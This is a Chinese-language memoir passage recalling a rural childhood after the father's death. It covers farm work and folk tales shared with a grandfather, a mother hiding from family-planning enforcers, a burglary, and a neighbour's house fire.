我妈妈要去南乡给我们找吃的。我们三个就跟着爷爷。妈妈从山东到南乡,来来去去,留留停停。在我此后的记忆里,什么时候妈妈在,什么时候妈妈不在,已经模糊不清。我除了上学,回到家就跟着爷爷干农活,我弟弟、妹妹还没有上学,也一起跟着干活。 爷爷往西岭上推粪,我们几个跟着拉车。上岗的时候,我爷爷弓起身子使劲儿往岗上推,我们三个卯足了劲儿给他拉绳子。我拉着中间的那根大绳儿,我弟弟在旁边拉着偏绳儿,我妹妹也拉着我爷爷专门给她栓的小绳儿。我把绳子搭在肩膀上,脚蹬着地面,低着头,拼命地往前拉。那时候,我真的觉得我力大无穷,没有拉不动的车,没有上不了的高岗儿。等爷爷把小车推上了岗儿,我们爷四个就坐在高岗上歇歇。西岭上的风吹着,我们看着脚底下的荆堂庄。我爷爷看着我妹妹,笑嘻嘻地说:“笑笑也能帮爷爷拉车子了,套上个绳子,跟着拉车子,总比个大公鸡强吧!” 推完了粪,我们三个又跟着爷爷去西岭上包山芋沟。西岭上的小风溜溜的,把我爷爷铲起来的土从他的铁锨上吹起来了。那些小风儿丝丝地吹着,带着一缕黄土,刮到我们脚底下。我弟弟妹妹还小,主要是我帮着爷爷包山芋沟。我爷爷拿着铁锨铲土铲地久了,手心儿打滑,铁锨杆子也打滑。我爷爷就朝手掌心儿里吐口唾沫,接着铲。 我爷爷说:“向城恁大姑小时候,她姊妹几个就是她爷爷带大的。她爷爷年纪大了,不能动了,她姊妹几个趴在爷爷铺沿儿上,哇哇地哭,‘爷爷啊!’”我爷爷边说,边流着眼泪。我听我爷爷给我讲这个故事已经很多次了。我也跟着流过不少回眼泪。我爷爷每次说起这事儿都要哭。这次,他也是边包着山芋沟边流泪。 中午回到家,该吃晌午饭了。我爷爷往脸盆儿里舀了一瓢水,准备来洗洗手。我幼小的妹妹早已搬来了小板凳,把她的小脚丫放了进去,低着头,自己给自己洗脚。 “爷爷还没洗手呢,笑笑!你怎么就开始洗脚了?”我爷爷笑着问她。 “洗洗!洗洗脚丫!”我妹妹说。 杜村的大个子男人,穿着一身蓝,戴着一个荆条编的像是个提篮头儿似的的帽子,搁自行车后座儿上架着两个筐子,来荆堂卖馒头了。隔着院墙,我们听到墙外他的老牛一样的声音:“馍馍——馍馍——” 我爷爷端着一盆子山芋干子,出去换几个大馒头来分给我们吃。我能干活,爷爷就给我一整个大馒头。我弟弟不能干活,干活也偷懒,爷爷就给他半个馒头。那个大个子卖的馒头真好吃啊,又白又大,香香的。 割麦子的时候,我是主力军,我弟弟、妹妹太小,还不太能帮的上忙,只能帮着捡捡麦穗儿。我爷爷早就教会了我割麦子。我先割一把儿麦子,在手上打个拧儿,横放在地上,当做捆绳儿。再“刷拉”“刷拉”割上一堆麦子,竖着放在那捆绳儿上。等那捆绳儿上的麦子放地差不多了,就跪在麦子上,把那捆绳儿死死勒住那堆麦子,勒紧了,打个拧儿,把多余的绳儿头并在一起,塞进麦捆子里。这就成了一个麦个子。 我割麦子不怎么觉得累,我爷爷倒是常常喊着腰疼:“哎哟!我得站起来直直腰。腰跟两截儿的似的!” 我说:“我不累!我一点都不腰疼!” 我爷爷笑着说:“恁小孩儿当然不腰疼喽,小孩哪有腰啊,小孩儿没有腰!” 麦杆子上粘落着一种红色的硬壳的圆圆的小虫子。我弟弟把它抓在手里说:“大姐!你看!你知道这是什么虫子吗?” 我说:“你不知道吧,这是花大姐。我小的时候,咱爷爷就跟我说了。咱爷爷说,这种花大姐身上的点儿点儿,如果是单数,那它就是好的。如果是双数,那它就是坏的。咱爷爷还说过,‘花大姐,不花了。脸上长个大疤拉’。” 我弟弟看着我,笑着说:“‘花大姐,不花了。脸上长个大疤拉’!”他说着就去麦地里褪下裤子尿尿去了。他的尿呲到麦杆子上,滋啦滋啦的。 我爷爷望着他说:“小红孩,推红车,一推推到高岗上。脱了花裤挠痒痒。起南来了大黄狗,照腚咬一口——。鸿雁啊,你挠痒痒的?看大黄狗来咬你腚膀子哈。” 我弟弟赶紧把他的小玩意儿收进他的裤子里,提上裤子。 “狗呢?”他说。 “狗刚跑!”我爷爷说,“你问问笑笑,狗是不是刚跑?” “狗跑了!狗跑了!”我妹妹跟着我爷爷瞎胡喊着。 我看看地里,起南并没有什么大黄狗。倒是来了一个卖冰棍儿的。 地头儿上,远远地,有一个年轻的男人骑着自行车在吆喝着卖冰糕呢。 “冰糕了冰糕——”卖冰糕的骑着个洋车子满地里乱跑。他的洋车子后座儿上装着白色的箱子,箱子里头白色的小棉被底下就是那些可爱的冰糕了。 我们站直了身儿,眼巴巴地望着,我爷爷也弯着腰看着,他大概也是嘴馋那冰糕吧。很快,我爷爷就买来了几块袋装的画着“水蜜桃”的冰糕,分给我们吃。那冰糕是橙色的、冰冰的、甜丝丝的。 回到家以后,爷爷的墙外飘过来一声儿“豆腐脑子——”。那是杜村的大个子男人,挑着担子来卖豆腐脑子了。我爷爷端着小盆儿去他那里买上几碗,他给我爷爷盛好,浇上红辣椒油拌的粉条子,爷爷端回家里来,分给我们喝。 快到八月十五的时候,该砍玉蜀黍了。玉米地里,一片黄,看着香香的,甜甜的。玉蜀黍秸是甜的,我去地里折来一段玉米杆,把它想象成甘蔗,咬在嘴里,使劲儿嚼着,想咂出甜甜的汁水来。 我爷爷拿着砍镰子,砍了一根深绿色的细细的玉蜀黍秸,递给我说:“省儿,这样的才甜。” 我从爷爷手里接过来那玉米杆,果然比我自己选的要甜,要鲜。可是,我还是喜欢自己选的黄黄的玉蜀黍秸。我总觉得爷爷用砍镰子砍的秫秸,没有我自己手掰的好吃。爷爷选的那深绿色的秫秸,太甜,我不太喜欢,我喜欢那样香香的黄。 我们干活儿回来,精卫大姐的娘,家振大娘,推着她的胶车子来庄上卖豆腐了。她正走到我爷爷家大门口儿。我爷爷去她那儿买豆腐。家振大娘穿地干干净净、利利索索。她留着齐肩的“二道毛子”,鬓角上别着一根发卡,腰板儿挺地笔直,小脸儿也一本正经地本着。她切了一块豆腐放到我爷爷的盘子里,顺手给我爷爷把豆腐打成小块儿,再倒上她自家的韭菜花,端回家就可以吃了。 夏天有丝瓜豆角,秋天有菠菜,冬天春天经常吃的是爷爷炒的大白菜和红萝卜菜。我最爱吃的就是红萝卜菜。穿心红萝卜切成丝,切几个红辣椒,一炒,端出来就是红彤彤的萝卜丝。 我弟弟夹菜勤快了一点儿,我爷爷就不高兴了,他手里攥着筷子,指着我弟弟的头皮说:“就你,能扒菜!菜是引食,你那样扒还行吗!人家会吃菜的,一个蚂蚱腿都能喝四两酒。哪有像你这样扒菜的!” 我弟弟被我爷爷给戳了额头,也不说话。继续吃他的饭。 我可怜的弟弟,自从我爸爸死了以后,除了我妈妈,再没有谁来真正疼他了。他能吃不能干,总是那么不受待见。 冬天,爷爷煮山芋汤给我们喝。爷爷煮好了山芋汤,把山芋捞出来给我们吃,再往锅里放米继续烧。天太冷,我们拿着爷爷煮的山芋,到爷爷家大门外头,靠着南墙跺着脚晒太阳。刚捞出来的山芋还很烫,我们捧着山芋,吹着山芋,把它从左手换到右手上。冬天的太阳,把我们的影子拉地多长。我们走,它也走。我们脚上的棉鞋,在影子里变得又高又可爱。 天气冷了,南家前二叔家的兰兰小妹带着她的小弟开放,四叔家的小妹娜娜带着她的小弟银龙一起来找我们玩了。银龙小小年纪就长得跟他爸爸一样粗鲁可笑,他肥嘟嘟的脸上,挂着两串鼻涕,那鼻涕上掺和了泥土什么的,黑黑的。 银龙在爷爷家门口儿站着。 “哎呀!你看这个小银龙,鼻子上恁么脏的!”我爷爷说着,从大门儿后头拿过来一把小笤帚疙瘩,拿那笤帚疙瘩在银龙的鼻子上扒拉着。我们看着我爷爷给银龙的鼻子打扫卫生,都跟着笑了。 爷爷的天井里,没有什么玩的,也没有什么吃的。南墙根里,堆着一个柴禾垛子,上头盖着一层白色的塑料纸,压着一层黄色的山草。我跑到柴禾垛子那里,从上头拿下来一块儿厚厚的积雪。我咬了一口。 “嗯!跟馒头一样!”我说,“你们谁吃?” 但那雪白的积雪毕竟不是馒头。我自己的幻想术骗不了别人。没有人愿意跟我一起吃这“雪馒头”。没过多大一会儿,来我爷爷家找我们玩的几个孩子像是麻雀一样,飞来了,又很快飞走了。 我们三个来到自己的家。我们的家没有爸爸,也没有妈妈,空荡荡的。我们坐在堂屋里玩。我十来岁,我弟弟还没入学,我妹妹不懂事。我们三个在一起说着话,说着我们的爸爸,想象着他还没有死。 爸爸的老式自行车还在里间。我说:“我看到咱爸爸的洋车子,就觉得咱爸爸还没死,还会回来,我觉得咱爸爸还会还阳。” 弟弟把一个小板凳倒过来,让板凳腿儿朝上,他把那小板凳当成木马骑着、晃着。 “我也梦见咱爸爸了,我问他,爸爸你在干什么啊?爸爸说,我在开木头火车!”我弟弟说。木头火车,就是棺材的意思。 我家的两个洋铁桶里盛满了水。那是妈妈挑来的,已经搁在那好多天了。天冷,桶面上结了厚厚的一层冰。我拿来三个碗,把冰敲开来放在碗里,撒上红糖,我们三个有滋有味地吃起来。 下雪了。淡淡的雪花飘飘落落。我们跟着爷爷,袖着手,哈着气,在大街上慢悠悠地晃荡。路两旁是人家高高的青石头的院墙,没地方可去。就回爷爷家吧。爷爷找出陈年的大头皮鞋穿上。这双大头皮鞋,像文物一样被收藏着,经年不坏。每逢严冬,我爷爷就把它拿出来,让它重新上岗。 脚下太冷了。我看到爷爷家柴垛上的芦花,就扯一朵芦花垫在脚下,脚底果然暖和了。爷爷跺跺脚,也找一把芦花塞在鞋窠塱里。 我跟爷爷说:“爷爷,芦花怪暖和哈。” 我爷爷跺着脚说:“芦花不暖和哦。” 我说:“我觉得芦花暖和。” 我爷爷说:“你觉得芦花暖和啊,拿芦花给你套件棉袄试试?芦花不暖和,这是带讲儿的。说是有一个小孩儿,他娘死了。他爹又给他找了一个晚娘。他晚娘又给他生了一个小弟弟。冬天了,他爹让他晚娘给他兄弟俩儿套棉袄。他晚娘给他套了一件厚厚的大棉袄,给他弟弟套的棉袄呢,没有他的厚。比他的还要薄。他爹觉得自己真是找了一个贤妻。” “这一天,他爹带着他跟他小弟弟一块儿赶着车去拾柴禾。大冬天的,冷哦。他冻地直打哆嗦。他弟弟一点事儿都没有。他爹看到他直打哆嗦,就拿着赶车的鞭子抽他。边抽边骂他。‘恁娘给你套的棉袄比恁弟弟的还厚,恁弟弟一点都不冷。就你冷的?你是装的吧?想污蔑恁娘亏待你的。’他不说话。他爹就气地一直抽他。直到把他身上的棉袄给抽破了。” “这一抽破不要紧,棉袄里头的芦花露出来了。他爹一看就明白了,原来,他晚娘给他棉袄里套的是芦花啊。怪不得比他弟弟的棉袄厚呢。他爹回到家来,把他晚娘给揍了一顿。‘你个毒妇,你太亏心了。你给俺儿子棉袄里套的芦花啊!’” 天寒地冻的。要是有个“火龙单”就好了。“火龙单”的来历,大概那时候的穷人都知道。说的是一个地主,心眼儿特别坏。长工给他干活,他对长工极为苛刻,长工跟着他吃不饱、穿不暖,尤其到了冬天,连件过冬的衣裳都没有。夜里,下雪了,长工住在马棚里,身上穿着一件破棉袄,冻地瑟瑟发抖,怎么办呢。长工想起麦场里有个碌碡,他就把那碌碡搬到马棚里。他冷了,就把那碌碡滚来滚去,整整滚了一夜,滚地满头大汗。 第二天,地主来到马棚前,以为他早就被冻死了,却见他浑身热气腾腾。地主大吃一惊,说:“这么冷的天,你穿着件破棉袄,怎么还能这么热?” 长工说:“你不知道,我身上穿的是‘火龙单’,是我家祖传的宝贝,所以一点儿都不冷。” 地主闻说“火龙单”是一件祖传的宝贝,赶紧对长工说:“你把你那‘火龙单’给我吧,我把身上的皮袄给你,咱俩儿换换!” 长工说:“那不能给你!” 地主再三恳求,长工才把身上的破棉袄给他。到了夜里,地主为了验证那“火龙单”的功效,也钻进马棚里,结果,当天夜里,大雪封门,地主被活活冻死了。 地主的老婆哭着数落他:“给你皮袄你不穿,你偏偏穿那‘火龙单’!” 咱们没有“火龙单”,爷爷把鞋带系好:“盖上我的条子被!” 我弟弟也接着说:“盖上我的叉子被!盖上我的白被!” 这是爷爷给我们讲的又一个故事。有一个穷人住店,夜里,他冻得要命,就把裤子盖在身上:“盖上我的叉子被!”然后把袜子盖在身上:“盖上我的筒子被!”最后把鞋带也盖在身上:“盖上我的条子被!”房瓦上趴着的小偷一听,这老头儿真有钱,睡觉还盖那么多被。小偷就把铁钩子吊下去,恰巧勾住了老头儿的鼻子,老头儿疼地大喊:“哎哟,勾住了我的白被(鼻鼻)!”小偷不理会,把铁钩子使劲往上一拉:“不管黑被,白被,上来吧!”一下子把老头儿的鼻子钩豁了! 傍晚了,爷爷切开几个馒头,在炉子上烤馒头片。馒头片烤地黄黄的,热热地拿来吃。爷爷不会蒸馒头,蒸出来的馒头酸溜溜儿的。烤馒头片也酸酸的。 后来,我爷爷买了一个铁夹子,专门用来烤饼子的。铁夹子的头上是圆圆的两块铁饼。爷爷把擀好的面饼放在那个铁饼子里一夹,铁夹子里面的花印子就落在了面饼子上了。爷爷双手握住铁夹子的长长的把手,把那两块铁饼放在炉子上烤。烤上一会儿,一块饼子就烤好了。把铁夹子放在桌子上,打开夹子,里头的小圆饼就滚了出来。饼子有一指厚,白白的面皮被烤地黄黄的。饼子上有铁夹子上落下的花纹,那是一只小花猫。有猫头,还有猫爪子。那饼子被夹地硬硬的,吃起来僵僵的,并不好吃。 过年的时候,我爷爷早早地就起来了,他做好了一桌子的菜。好几个盘子里的菜上,还撒了芫荽。我爷爷爱面子。他知道,今天会有很多人来给他拜年。他烧了一桌子菜给别人看,也会让别人来喝两盅,尝尝他烧的菜香不香。我爷爷买不起鲜鱼,就买了咸鱼,煎地黄黄的,摆在盘子里,充当一盘子鱼。桌上,还有我爷爷精心烧的鸡蛋汤。 “我四点就起来炒菜了。鸡蛋汤好喝!我搁的山芋粉子。还浇了酱油。”我爷爷说。 天井里的石台子上,我爷爷早就摆好了香炉。香炉里烧着香。旁边放着几个苹果,还有几碗饺子。我跟着爷爷走里走外,我弟弟睡在被窝里,不肯起来。等我爷爷召集我们一块儿来给天老爷磕头的时候,我弟弟还是没起来。我们要下跪了,我弟弟才咕噜一下,光着屁股从被窝里跑出来。他跑到石台子跟前,哐哐,给天老爷磕了两个头,又飞快地跑回被窝儿里去了。我爷爷没好样儿地看着他:“小鸿雁,就是没有恁姊妹两个勤快!” 春天里,庄里来了卖鸡鸭鹅的,扯着嗓子吆喝着:“小鸡了好——卖小鸡了好!小鸡了好——小鸭来!”我妈妈也去买小鸡。卖鸡鸭鹅的男人,在自行车后座儿上架着一个筐子,筐子里放着一堆小鸡小鸭儿小鹅。那些小鸡小鸭小鹅站在一起,有黄黄的小嘴儿和绒绒的小身躯。卖小鸡的剁了菜叶,拌了小黄米,来喂那些小东西。那些小东西毛茸茸的,小小的,叽叽嘎嘎的叫着,闹着,一个从另一个身上踩过,弄的彼此身上的绒毛里都沾上了小黄米。好可爱的小鸡小鹅小鸭子啊,黑黑黄黄灰灰,软软滑滑,像一块块闪闪发光的玉。 卖小鸡小鸭的把我妈妈选好的小鸡放到我妈妈的鸡笼子里,跟我妈妈算了算账儿。我妈妈捏着手里的钱,站在卖小鸡的筐子跟前,皱着眉,在脑子里划拉着刚才的账儿。 卖小鸡小鸭的男人鄙夷地看看她,问她说:“是的吧?” 我妈妈还是呆在原地,沉思着说:“是的。” 我妈妈买了十几只小鸡放在家里,让它们在院子里找食吃。那些小鸡一团团的,黄黄的,绒绒的,很可爱,我也很喜欢。 我家屋东头儿的院墙下头,有一堆褐色的岩石,那些岩石从院墙上掉落下来,散成了碎块儿。那些碎石块儿的中间,印着一棵棵的小树的化石,绿绿的、黑黑的,很好看。 再往南一点,我家大锅东边的地方,是一块空地。我妈妈就把鸡笼子放在这里。那块空地旁边,种了一棵像是橘子一样的小树。刚长到我的膝盖那里,树上有绿绿的尖尖的刺。我妈妈说:“那是枸橘,结的果子跟橘子一样,橘子是甜的,它是苦的,不能吃。” 那时,计划生育还很严,我妈妈一看见“包车”,就以为是来抓她的,吓地惊慌失措,不知道该往哪里躲。 “大奶奶,是来抓我的呗?”我妈妈惶恐不安地问老娄奶奶,同时准备着逃跑。 “我也不知道啊,谁知道是不是抓你的啊!”老娄奶奶也心神不定地回答她。 “庄上来包车了,谁知道是来来抓谁的啊。我还是带着恁弟弟妹妹去躲躲去吧。你在家里跟着恁爷爷。该怎么上学怎么上学。”我妈妈跟我说。 “嗯。”我答应着。 那时候,我妈妈买来的小鸡已经长成大人的拳头那么大了。 我妈妈临走的时候嘱咐我说:“你每天去给小鸡儿撒把玉蜀黍。晚上,等到鸡要上宿儿的时候,你再去把它给赶到鸡笼子里,把鸡笼子盖上口儿,再压上几块石头,别让黄鼠狼子给吃喽。” “哦。”我又答应着。 “妈,恁带着俺小弟小妹去哪啊?”我恋恋不舍地问她。 “俺还说不准来。白天不敢走,怕遇到大队干部跟小分队。白天,俺就躲到玉蜀黍棵里。等天上黑影儿了再走。”我妈妈说。 “那恁不嫌热啊?玉蜀黍棵里没有蚊子啊。”我说。 “那也没有办法哎。总比被小分队给抓去强吧。”我妈妈说。 我弟弟妹妹上午还在家里跟我一块儿玩,下午就跟我妈妈走了。我看着我弟弟妹妹的身影,恋恋不舍。我弟弟妹妹还小,也不像我爱哭,他们昂着白白净净的小脸,走在我妈妈后头,也不知道回一下头。 我一个人到我家里去,推开大门,再从里头挂上门链子,我就独自在我家里想念她们。我们家由热热闹闹到一下子人去屋空,家里的铺上,还有我妹妹换下来的小背心,那是人家给的,白底,印着红心心、蓝心心。我妹妹上午才穿着的。我把它拿在手上,坐在院子里的石台子跟前,抱着我妹妹的小背心哭。她那时候也就四五岁,多小的小孩儿啊。小小的她说话还说不清,常常说“我要吃皮果!我要吃皮桃!” 我妈妈说了,她带着我妹妹和我弟弟,白天不敢走,怕遇见大队干部和小分队,她要躲到人家的玉米地里,等天黑了再走。此刻,我妈妈跟我弟弟妹妹是躲在哪里呢?我能去找她们吗?我要是去找到了她们,把她们给暴露了怎么办?那么多的玉蜀黍地,我到哪里去找呢?我自己也害怕。 玉米已经一人多高了,露出了粉红色的“天缨”。我不知道我妈妈是躲在哪里,隐隐约约觉得,应该是在北荆堂的玉米地里,那里离家近,她一介女流,带着两个小孩儿,太陌生的地方,她也不敢去。 等我第二天去上学的时候,路过北荆堂,看到那片玉米地,看到那高高的粉红色的天缨,仿佛我妈妈带着我弟弟妹妹还躲在那块玉米地里。自此以后,我对那块玉米地,对那么高的玉米,有了感情,那是我妈妈带着我的弟弟妹妹,躲避人家捉拿的地方。我的小妹妹,我妈妈早就给她起了学名,叫天英。天英,天缨,我对那粉红色的天缨,也有了不一样的感情。 我常常失魂落魄地去爷爷家东的小路上观望,小路两旁是玉米地,我到那儿溜达,仿佛在那里可以见到我妈妈。不只是这一条路,只要是曾经看到妈妈来过的那些小路,我都充满了向往。 我家因为在村后头,靠近西岭,空落落的。大门外是一片竹林,这些竹子长不大,瘦瘦黄黄的杆子,大人们叫它“火竹”。大门门里靠东的角落,种着一片毛竹林,很高很大的一片,有些阴森森的,我一个人不敢进去。这儿时常有各种花色的鸟儿降临在竹枝上头。 大门外出门右手边,是一棵桑树,每到春夏,就会结出紫色的桑葚。我爸爸去世以后,我才从老娄奶奶那里知道,我家这棵桑树栽地不好,“前不栽桑,后不栽柳”。 因为有竹林的缘故吧,院子里有些阴森,大门外经常横着一条金黄色或是红斑纹的蛇,让我有些害怕,可是我还是充满了忐忑和向往地来到这里。这里有过童年,有过爸爸妈妈,有过弟弟妹妹,这里是我的家,我可以在这里安安静静地,待上半天,不用担心谁会来赶我走,我也不用跟谁说话。 2.我家招贼了 我家鸡窝下头,是一块完整的岩石板打磨成的长方形的饭桌。天气暖和的时候,可以坐在这里看书,吃花生。我常常一个人来到我家,拴上大门,坐在石桌旁,手里拿着一本不知道妈妈从哪里弄来的《儿女英雄传》,剥着妈妈捡来的花生,沉浸在安学海老爷、何玉凤女侠的世界里。来我家找我玩的小女孩,自顾自地蹲在我家大门里头的地上玩耍,我低头看书,不知道什么时候,一抬头,刚才的小女孩已经回家了。书里的情节与现实中的院落、适才的小女孩的身影与人去院空后的静寂,充满了人生的无常与幻灭,只剩下我,呆呆地对着空落落的天井。 我家天天井里经常有黄鼠狼爬过。我妈妈说,黄鼠狼的脾气古怪,不能乱说话,否则,会招黄鼠狼心烦。黄鼠狼开心了,会给主人家干好事,要是不开心了,也会给主人家干坏事。有一户人家,过年的时候,一群黄鼠狼,一个踩着一个,搭着梯子,往他家粮食囤里拉干粮。这家人看到了,都装作看不见,都不乱说话,只在吃饭的时候,掰开手里的豆包、馅饼,给彼此看看,自己吃的是什么馅儿。都是黄鼠狼给他们拉来的。大家只吃,不说话,怕万一说多了,黄鼠狼听了生气,就不给他们家拉干粮了。 有的黄鼠狼还能成精,成精的黄鼠狼,就是大姨嘴里的“黄老师”。所以,我对黄鼠狼充满了敬畏和害怕。 我妈妈走了,我就听妈妈的话,每天去给小鸡撒粮食,晚上,再去把它们赶到藤条编的圆圆的大鸡笼子里。鸡笼子就放在我家东边,竹园子跟前。晚上,小鸡该上宿了。我从爷爷家赶来,赶小鸡上宿。很多小鸡都很听话,自己跳到鸡笼子上,两只鸡爪子抓住鸡笼子的边边站着,我一赶,它们就“啪嗒”一下跳到笼子里去。那些不听话的小鸡,想让它们进笼子可就难了。我左赶右抄,又吆喝又喊,都没有用。“噢哧!噢哧!进窝了!进窝了!快点进窝!”可是它们都不理睬,都在外面蹦蹦跳跳,四处溜达。 天色慢慢地黑了下来,我很害怕。我家的屋,靠近庄外,抬脚儿就能看见西岭跟石塱,石塱里是一个个的坟子窝。我家天井里竹园阴森,树木林立,墙外少人行迹。这里,白天都很寂静,到了晚上,我更加觉得害怕。我想让小鸡早点进窝,我把鸡笼子盖好,就可以回爷爷家了。可是那些不回窝的小鸡可不会为我着想。它们“叽叽喳喳”地在笼子外头蹦跶,就是不进鸡笼子。那些刚才进了笼子的小鸡也纷纷又从笼子里跳出来了。 我一个人越来越害怕。我想回爷爷家,可是那些小鸡还在笼子外头,它们要是被黄鼠狼拉走怎么办呢。我只好硬着头皮把它们往笼子里头赶。可是它们就是不肯进去。我着急了,拿起小园里的石头就朝它们砸去。小鸡距离我很近,我扔石头的力气也很大,那些小鸡一个一个地被我打中了,有的打死了,有的打残了,它们惊慌失措,叽叽喳喳,更加不进笼子了。 天黑了,我太害怕,就把鸡笼子给盖上,自己胆战心惊匆匆忙忙地回了爷爷家。 等我妈妈从南乡回来以后,我家的小鸡已经所剩无几了。我妈妈看到仅剩的那几只小鸡居然没有骂我。而我,每逢想起来那些小鸡,都很愧疚。 我当时赶小鸡进笼子的时候,我为什么不多想想办法呢。我在笼子里放点食儿啊,我让爷爷去帮忙想办法啊。如果那天爷爷去,他应该不会像我那么没有耐心,那些小鸡应该就不会惨遭毒手了吧。 我不能原谅自己,尽管我当时只有十来岁,独自一人在家,真的很害怕。可是,当年,我爸爸去东北的时候,我妈妈还不到三十岁,她是怎样一个人忍受着偏僻和黑暗,守着那个黑沉沉孤寂寂的家的。我爸爸去世的时候,我妈妈也才三十六岁,她是怎么带着三个幼小的孩子,冒着夜里被贼人翻墙抄家抢孩子的危险,住在那个家里的。也许,她只能坚强,只能不害怕,因为她是我们的妈妈。也许,一个人只能坚强,只能不害怕。因为,她要在这个世上活着啊。 妈妈在山东与南乡之间走走还还。我也在我家和爷爷家来来去去。想妈妈的时候,我就一个人走过北荆堂的大街,走进我家那条小巷,走过艳飞家、雷雷家,题美老爷爷家,走过我家东院墙外堆着的一堆青石旁,来到我家。 有一天,我来到我家门前。看见大门是开着的,还用顶门杠在外头顶着。 我以为是我妈妈回来了。 “妈妈!”我喊了一声儿,没有回应。平时,我妈妈在家,从来不会把大门敞开,即使偶尔有事,家里要进胶车子,那也是把大门拉在里头,不可能用顶门杠在外头顶着。 我见没有人应答,还是抱着希望,走进我家。我家的堂屋门也是开着的,我妈妈原来用铁丝拧着的屋门框,被整个连门一起搬了下来。是家里进贼了? 我进屋查看一下,我家里唯一的陈设,我爸爸在我上一年级的时候给我买的金黄色的马蹄表,一直放在里间我妈妈的床头,现在不在了。装着玉米面和麸子的面袋子也被打开了。堂屋,吊在梁头上的半袋子花生,我妈妈去北山里捞来的,也没有了。 我家招了贼了。 我赶紧回爷爷家喊我爷爷。我爷爷跟我一起来到我家,确实,我家是着了贼了。我爷爷把我家的门都扶好,跟谁也没有说,只等我妈妈回来。我家有什么呢?我爸爸去世以后,人家厂里给了四千块钱的抚恤金,我三叔想拿来盖屋娶媳妇,代为保管的大队干部也想私吞。贼来我家,大概是惦记这个吧。 我妈妈终于回来了。她去战海大叔的大喇叭里,把那贼人骂了一顿。 “恁个养汉头将的!恁偷俺家的东西!天打雷劈死恁个王八羔子!家军夜里去把恁整死!” 我妈妈平时说话,嗓门儿就很大,乍听起来,跟吵架似的。我以前路过人家门前,听到里头有洪亮的、激愤的女人的声音,就疑心是我妈妈。我很佩服我妈妈,她说话有口有心,她讲起理来,好像从来都不怕谁。 妈妈说:“幸好当时咱都不在家,在家更危险。人家能把小孩儿给偷去。” “贼是谁呢?”我说。 我妈妈说:“谁知道啊?庄里有名的吕四儿,净干偷鸡摸狗的事儿,难道是他?” 我家招贼,是我妈妈不在家。我爷爷就在家里,大门栓的好好的,也招了贼了。那是秋天,刨完山芋以后,我爷爷把两筐子山芋推回家。傍晚了,我爷爷急着烧饭,就把一筐子山芋从小车上卸下来,倒在屋门前的天井里。另一筐子山芋没卸,还搁在筐子里,放在小车上。 第二天,一觉醒来,我爷爷家的大门被打开了,一筐子山芋连长筐一起不见了。 我爷爷急着刨山芋,一时没钱,也没时间去买个长筐,就用家里拾柴禾的圆筐子来装山芋。爷爷把那个八斗大的圆筐,用麻绳绑在小车上,另一边,配着剩下的长筐,用小推车推着,去刨山芋。等过了忙季儿,手里宽松了,再去张庄集上买个新的长筐来配上。 “失火了!失火了!”黑夜里,庄西头儿不知道是谁大喊着。老刘奶奶大门对面,谁家的柴禾垛起火了。清明三叔闻声起来,跟众人们一块儿,挑着两铁桶的水,直奔庄西头去救火。 清明三叔、福林大叔就住在我爷爷家东边儿。福林大叔的大闺女也就四五岁的光景,她比我妹妹要小一两岁,比我妹妹轻瘦,所以,每当我看见她,特别想抱起她。小妹妹黑黑的笑笑的,露出一口小白牙。我抱起她的时候毫不费力,像是抱起一个洋娃娃。 天黑了,福林大叔把浇地用的一桶柴油提进屋里,把屋门在里头插好。大婶子带着他们的大闺女和小儿子准备睡觉了。 小弟弟说要喝水,大婶子一时找不到电灯拉绳,就跟大叔说:“我怎么找不到灯绳儿的?” 福林大叔划开了一根火柴棒,跟大婶子说:“看到了吗?看到了吗?” 大婶子把电灯拉亮了说:“看到了!看到了!” 福林大叔扔下了手里的火柴棒,堂屋里,“轰”地亮起了一道红光。 “起火了!起火了!你个逼养的!”大婶子哭骂道。 “哇哇——”大婶子怀里的小儿啼哭着。 大叔去开门,几次跃跃欲试,却走不到屋门口儿。大婶子把自己的夹袄子给小儿子罩在外头,把小儿子放在床头的衣柜上,把大女儿揽在怀里。两个孩儿哭着。 大婶子哭着跟福林大叔说:“你去开门!你个逼养的!娘啊!失火啦!来救火啊!” 福林大叔也喊着:“失火了!救火啊!爹呀!娘啊!来救命啊!清明啊!” 住在后院的二爷爷、二奶奶,二姑、二叔,隔壁的清明三叔,听到了声音,披衣赶来。二爷爷把门从外头撞开,大叔跟大婶子抱着孩子冲出重围。大叔、大婶子,两个孩儿的背上都被严重灼伤。 大叔、大婶子跟她们的两个孩子,被送进了医院,二姑、二叔,三叔、二爷爷,都跟着去伺候去了。两个大人的惨状自不必说,两个几岁的小孩子背上被烫出了大水泡,吃饭睡觉只能躺着。 家里,只剩下二奶奶了。当时是十月,推山芋秧子的时节,二奶奶一个人去推山芋秧子,干着家里的活儿,想着大儿子一家子的事儿,心挂两肠。 一场大雨下来了,二奶奶推着山芋秧子走在路上,大雨瓢泼一样浇灌在二奶奶的头上,二奶奶的小车摔倒了,再爬起来推,推起来,再滑倒。二奶奶的身上、脸上,不知道是眼泪,还是泥浆,都在哗哗地流淌。 我放学回家,我爷爷跟我说:“东院福林家里失火了,一家子都住院了。”我爷爷说的时候,脸上挂着笑样儿,可是我笑不出来。我爷爷看我不笑,他也不怎么笑了。 后来,大叔大婶子一家出院了。两个小孩儿从家门里跑出来玩儿,小弟弟、小妹妹都剪了短头发。尤其是小妹妹,一个小女孩儿突然剪了短头发,样子改变地很是明显了。 两个小孩子笑语盈盈地在大门口儿玩耍。 大婶子从大门里出来,端着小碗喊她的小儿:“来!宏伟,吃饭了!”大婶子也剪着一头短发。秋日的天气里,她的形容显得更加清瘦了。 但是,毕竟是劫后余生,大难之后必有大福。大叔大婶子一家子还是和和乐乐地过日子。 有一天,我爷爷端了一碗肉。 “这是驴肉。”我爷爷说。 “什么时候买的?” 我问爷爷。 爷爷有些羞惭又郑重其事地说:“我买的驴剩”。我大概知道是什么了,我知道爷爷因为没钱,又想吃口驴肉,只好买些驴下水来吃。我就不继续问。 爷爷把驴肉烧好以后,又带着三分得意、七分高深莫测地说:“天上的龙肉,地上的驴肉。” 吃驴剩这种东西也不是头一遭。以前,三叔和奶奶还在的时候,庄里常来阉猪的,阉猪以后割下来的猪的零件儿,奶奶照样炒炒吃了,虽然有点骚腥气,但那毕竟是肉。那时候,奶奶家里还养了一头猪,猪圈就在天井西边,靠着院墙。猪圈里头,还有一棵“母鸡花”树,阉猪的时候,那“母鸡花”开地正盛,一树粉红。 